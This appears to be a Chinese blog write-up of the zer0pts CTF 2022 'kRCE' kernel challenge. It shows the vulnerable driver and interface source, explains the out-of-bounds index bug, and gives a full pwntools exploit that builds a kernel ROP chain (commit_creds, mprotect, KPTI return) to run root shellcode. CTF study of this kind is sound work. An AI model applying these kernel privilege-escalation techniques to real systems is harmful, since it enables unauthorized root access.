zer0pts CTF 2022 -- kRCE

前言

这道题目非常有意思,看似 kernel pwn,但又是一个非常规的 kernel pwn,通过这个题目也学到了很多,这里主要参考 Will’s Rootwp

题目分析

作者写了一个具有多个漏洞的驱动模块,但是我们只能通过交换接口进行相关的操作

#!/bin/sh
# Setup
mdev -s
mount -t proc none /proc
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
stty -opost

echo 2 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

# Install kernel driver
insmod /root/buffer.ko
mknod -m 600 /dev/buffer c `grep buffer /proc/devices | awk '{print $1;}'` 0

chmod 666 /dev/buffer

# Run
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo "[ kRCE - zer0pts CTF 2022 ]"


/root/interface

# Cleanup
umount /proc
poweroff -d 0 -f

可以看到这里启动时,是直接执行的 /root/interface 接口程序,而没有给一个本地 shell,这里作者给了源码,我们先来看下驱动模块源代码:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/slab.h>
#include <linux/random.h>

#define DEVICE_NAME "buffer"
#define BUF_NUM  0x10

#define CMD_NEW  0xeb15
#define CMD_EDIT 0xac1ba
#define CMD_SHOW 0x7aba7a
#define CMD_DEL  0x0da1ba

MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("kRCE - zer0pts CTF 2022");

typedef struct {
  uint32_t index;
  uint32_t size;
  char *data;
} request_t;

char *buffer[BUF_NUM];

long buffer_new(uint32_t index, uint32_t size) {
  if (index >= BUF_NUM)
    return -EINVAL;

  if (!(buffer[index] = (char*)kzalloc(size, GFP_KERNEL)))
    return -EINVAL;

  return 0;
}

long buffer_del(uint32_t index) {
  if (index >= BUF_NUM)
    return -EINVAL;

  if (!buffer[index])
    return -EINVAL;

  kfree(buffer[index]);
  buffer[index] = NULL;

  return 0;
}

// 仔细观察可以发现,buffer_new 和 buffer_del 函数的 index 都是 uint32_t 无符号类型
// 但是到了 buffer_edit 和 buffer_show 却变成了 int32_t 有符合类型,所以这里存在数组越界
long buffer_edit(int32_t index, char *data, int32_t size) {
  if (index >= BUF_NUM)
    return -EINVAL;

  if (!buffer[index])
    return -EINVAL;

  if (copy_from_user(buffer[index], data, size)) // 没有检查 size 大小,存在堆溢出写
    return -EINVAL;

  return 0;
}

long buffer_show(int32_t index, char *data, int32_t size) {
  if (index >= BUF_NUM)
    return -EINVAL;

  if (!buffer[index])
    return -EINVAL;

  if (copy_to_user(data, buffer[index], size)) // 没有检查 size 大小,存在堆溢出读
    return -EINVAL;

  return 0;
}

static long module_ioctl(struct file *filp,
                         unsigned int cmd,
                         unsigned long arg) {
  request_t req;

  if (copy_from_user(&req, (void*)arg, sizeof(request_t)))
    return -EINVAL;

  switch (cmd) {
    case CMD_NEW : return buffer_new (req.index, req.size);
    case CMD_EDIT: return buffer_edit(req.index, req.data, req.size);
    case CMD_SHOW: return buffer_show(req.index, req.data, req.size);
    case CMD_DEL : return buffer_del (req.index);
    default: return -EINVAL;
  }
}

static struct file_operations module_fops = {
  .owner   = THIS_MODULE,
  .unlocked_ioctl = module_ioctl,
};

static dev_t dev_id;
static struct cdev c_dev;

static int __init module_initialize(void)
{
  if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME)) {
    printk(KERN_WARNING "Failed to register device\n");
    return -EBUSY;
  }

  cdev_init(&c_dev, &module_fops);
  c_dev.owner = THIS_MODULE;

  if (cdev_add(&c_dev, dev_id, 1)) {
    printk(KERN_WARNING "Failed to add cdev\n");
    unregister_chrdev_region(dev_id, 1);
    return -EBUSY;
  }

  return 0;
}

static void __exit module_cleanup(void)
{
  cdev_del(&c_dev);
  unregister_chrdev_region(dev_id, 1);
}

module_init(module_initialize);
module_exit(module_cleanup);

这里的漏洞非常明显,数组越界(生溢)和堆溢出

然后再来看下接口程序源码:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>

#define CMD_NEW  0xeb15
#define CMD_EDIT 0xac1ba
#define CMD_SHOW 0x7aba7a
#define CMD_DEL  0x0da1ba

typedef struct {
  unsigned int index;
  unsigned int size;
  char *data;
} request_t;

void fatal(const char *msg)
{
  perror(msg);
  exit(1);
}

void add(int fd)
{
  request_t req;

  printf("index: ");
  if (scanf("%u%*c", &req.index) != 1)
    exit(1);

  printf("size: ");
  if (scanf("%u%*c", &req.size) != 1)
    exit(1);

  if (ioctl(fd, CMD_NEW, &req))
    puts("[-] Something went wrong");
  else
    puts("[+] Successfully created");
}

void edit(int fd)
{
  request_t req;

  printf("index: ");
  if (scanf("%u%*c", &req.index) != 1)
    exit(1);

  printf("size: ");
  if (scanf("%u%*c", &req.size) != 1)
    exit(1);

  printf("data: ");
  req.data = malloc(req.size);
  if (!req.data) {
    puts("[-] Invalid size");
    return;
  }
  for (unsigned int i = 0; i < req.size; i++) {
    if (scanf("%02hhx", &req.data[i]) != 1)
      exit(1);
  }

  if (ioctl(fd, CMD_EDIT, &req))
    puts("[-] Something went wrong");
  else
    puts("[+] Successfully updated");

  free(req.data);
}

void show(int fd)
{
  request_t req;

  printf("index: ");
  if (scanf("%u%*c", &req.index) != 1)
    exit(1);

  printf("size: ");
  if (scanf("%u%*c", &req.size) != 1)
    exit(1);

  req.data = malloc(req.size);
  if (!req.data) {
    puts("[-] Invalid size");
    return;
  }

  if (ioctl(fd, CMD_SHOW, &req) < 0)
    puts("[-] Something went wrong");
  else {
    printf("[+] Data: ");
    for (unsigned int i = 0; i < req.size; i++) {
      printf("%02hhx ", req.data[i]);
    }
    putchar('\n');
  }

  free(req.data);
}

void del(int fd)
{
  request_t req;

  printf("index: ");
  if (scanf("%u%*c", &req.index) != 1)
    exit(1);

  if (ioctl(fd, CMD_DEL, &req) < 0)
    puts("[-] Something went wrong");
  else
    puts("[+] Successfully deleted");
}

int main()
{
  int bufd = open("/dev/buffer", O_RDWR | O_CLOEXEC);
  if (bufd == -1)
    fatal("/dev/buffer");
  if (setregid(1337, 1337) == -1)
    fatal("setregid");
  if (setreuid(1337, 1337) == -1)
    fatal("setreuid");
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  puts("1. add");
  puts("2. edit");
  puts("3. show");
  puts("4. delete");
  while (1) {
    int choice;
    printf("> ");
    if (scanf("%d%*c", &choice) != 1)
      exit(1);

    switch (choice) {
    case 1: add(bufd); break;
    case 2: edit(bufd); break;
    case 3: show(bufd); break;
    case 4: del(bufd); break;
    default: return 0;
    }
  }
}

可以看到这里提供了四个接口函数来操作内核驱动模块,而这里的接口程序是不存在任何漏洞的

漏洞利用

内核开启了 smap/smep/kaslr/kpti 等保护,接口程序除了 Canary 其它保护全开

在上述漏洞分析中,我们得知驱动模块存在如下漏洞:

  • 数组越界
  • 堆溢出

但是这里我们只能使用接口函数,使用常规的内核利用方法就失效了,比如我们无法堆喷其它对象,因此这里的堆溢出其实没啥作用,主要还是数组越界的问题。

这个题目我们要解决如下问题:

  • 如何只利用接口函数进行提权
  • 提权后如何返回一个 shell

由于开启了 smep,所以这里得在内核态进行提权,然后在用户态返回一个 shell(其实就是执行 system("/bin/sh"),跟常规的用户态 pwn 没啥区别,只是此时返回的 shellroot 权限,当然这里说的不是很准确,大概就是这个意思)

提权

由于开启了 kaslr 保护,所以这里得先泄漏 kbase,这个比较简单,通过调试可以发现在 buffer 数组的上面存在大量残余的内核地址,这里通过越界读即可泄漏 kbase,然后通过 A->B->C 这样的指针结构可以实现任意地址读写

所以后面的问题就是如何利用任意地址读写进行提权,这里的方案其实很多,比如我们可以任意地址读获取 current_task 的地址,然后通过任意地址写修改其 cred/real_cred 字段或修改 uid 等字段。当然这里我使用的参考文章中的方案,还是去控制程序执行流执行 commit_creds(init_cred)

如果是 ramfs 文件系统,则对于拿 flag 可以直接爆搜内存

current_task 中的 stack 字段保存着当前任务的内核栈栈顶地址,所以通过任意读可以获取当前任务的内核栈地址,然后就可以利用任意地址写控制内核栈的内容了

所以我们可以在内核栈上步骤好 rop 链即可完成提权

shell

这里返回一个 shell 的方法比较奇妙,主要的想法就是在内核去修改用户态的某个页面 userland_page 的权限为 rwx,然后在执行 rop 链往 userland_page 页面上写 shellcode,最后返回到 userland_page 执行即可

当然这里我们或许可以直接在内核态返回一个 shell,但是其不稳定

exp

最后的 exp 如下:

from pwn import *
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
context.log_level = 'debug'

io = process(["qemu-system-x86_64",
     "-m", "64M",
     "-nographic",
     "-kernel", "bzImage",
     "-append", "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr",
     "-no-reboot",
     "-cpu", "kvm64,+smap,+smep",
     "-monitor", "/dev/null",
     "-initrd", "rootfs_noshell.cpio"])

def debug():
    gdb.attach(io)
    pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'> '

def add(idx, size):
    sla(menu, b'1')
    sla(b'index: ', byte(idx))
    sla(b'size: ', byte(size))

def edit(idx, data):
    sla(menu, b'2')
    sla(b'index: ', byte(idx))
    sla(b'size: ', byte(len(data)))
    rut(b'data: ')
    sleep(1)
    for i in data:
        sl(str(hex(i)[2:].zfill(2)).encode())

def show(idx, size):
    sla(menu, b'3')
    sla(b'index: ', byte(idx))
    sla(b'size: ', byte(size))

def dele(idx):
    sla(menu, b'4')
    sla(b'index: ', byte(idx))

def get_addr():
    addr = 0
    rut(b'Data:')
    for i in range(8):
        rut(b' ')
        addr += int(rc(2), 16) << (i*8)
    return addr

show(-73, 8)
kbase = get_addr() - 0x6de40
koffset = kbase - 0xffffffff81000000
info("kbase", kbase)
info("koffset", koffset)

show(-86, 8)
kmodule = get_addr() - 0x2148
buffer_addr = kmodule + 0x2400
info("kmodule", kmodule)
info("buffer_addr", buffer_addr)

def arb_read(addr, size):
    edit(-128, p64(addr))
    show(-88, size)

def arb_write(addr, data):
    edit(-128, p64(addr))
    edit(-88, data)

init_task = 0xffffffff81e12580 + koffset
arb_read(init_task+0x2f8, 8)
current_task = get_addr() - 0x2f0
info("current_task", current_task)
arb_read(current_task+0x20, 8)
kstack = get_addr() + 0x3e88
info("kstack", kstack)

arb_read(kstack+0x150, 8)
userland_page = get_addr() & (~0xfff)
info("userland_page", userland_page)

arb_read(kstack+0x168, 8)
userland_stack = get_addr()
info("userland_stack", userland_stack)

pop_rdi = 0xffffffff8114078a + koffset
pop_rsi = 0xffffffff810ce28e + koffset
pop_rdx = 0xffffffff81145369 + koffset
pop_rcx = 0xffffffff810eb7e4 + koffset
init_cred = 0xffffffff81e37a60 + koffset
memcpy = 0xffffffff8163c220 + koffset
copy_to_user = 0xffffffff81269780 + koffset
commit_creds = 0xffffffff810723c0 + koffset
do_mprotect_pkey = 0xffffffff811224f0 + koffset
kpti_trampoline = 0xffffffff81800e10 + 22 +koffset

shellcode = '''
    mov rax,0x68732f6e69622f
    push rax
    mov rdi,rsp
    push 0x0
    push rdi
    mov rax,0x3b
    mov rsi,rsp
    push 0x0
    mov rdx,rsp
    syscall
'''
shellcode = asm(shellcode)

add(0, 0x100)
edit(0, shellcode)

arb_read(buffer_addr, 8)
shellcode_addr = get_addr()
info("shellcode_addr", shellcode_addr)

rop = [
    pop_rdi,
    userland_page,
    pop_rsi,
    0x1000,
    pop_rdx,
    7,
    pop_rcx,
    0xffffffffffffffff,
    do_mprotect_pkey,
    pop_rdi,
    userland_page,
    pop_rsi,
    shellcode_addr,
    pop_rdx,
    len(shellcode),
    copy_to_user,
    pop_rdi,
    init_cred,
    commit_creds,
    kpti_trampoline,
    0xdeadbeef,
    0xbeefdead,
    userland_page,
    0x33,
    0x200,
    userland_stack,
    0x2b
]

pay = b''
for i in rop:
    pay += p64(i)

arb_write(kstack, pay)

#debug()
sh()

效果如下:有时候会失败,不知道咋回事
在这里插入图片描述

  • 9
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值